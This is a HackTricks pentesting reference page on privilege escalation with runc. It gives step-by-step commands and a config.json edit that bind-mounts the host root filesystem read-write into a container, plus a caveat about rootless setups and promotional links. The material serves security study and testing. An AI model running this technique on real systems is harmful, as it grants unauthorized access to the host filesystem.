hacktricks/linux-hardening/privilege-escalation/runc-privilege-escalation.md
Carlos Polop 8c18210060 arte
2024-01-06 23:58:52 +01:00

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# RunC Privilege Escalation
<details>
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</details>
## Basic information
If you want to learn more about **runc** check the following page:
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
{% endcontent-ref %}
## PE
If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**.
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs
# Finally, start the container
# The root folder is the one from the host
runc run demo
```
{% hint style="danger" %}
This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.
{% endhint %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>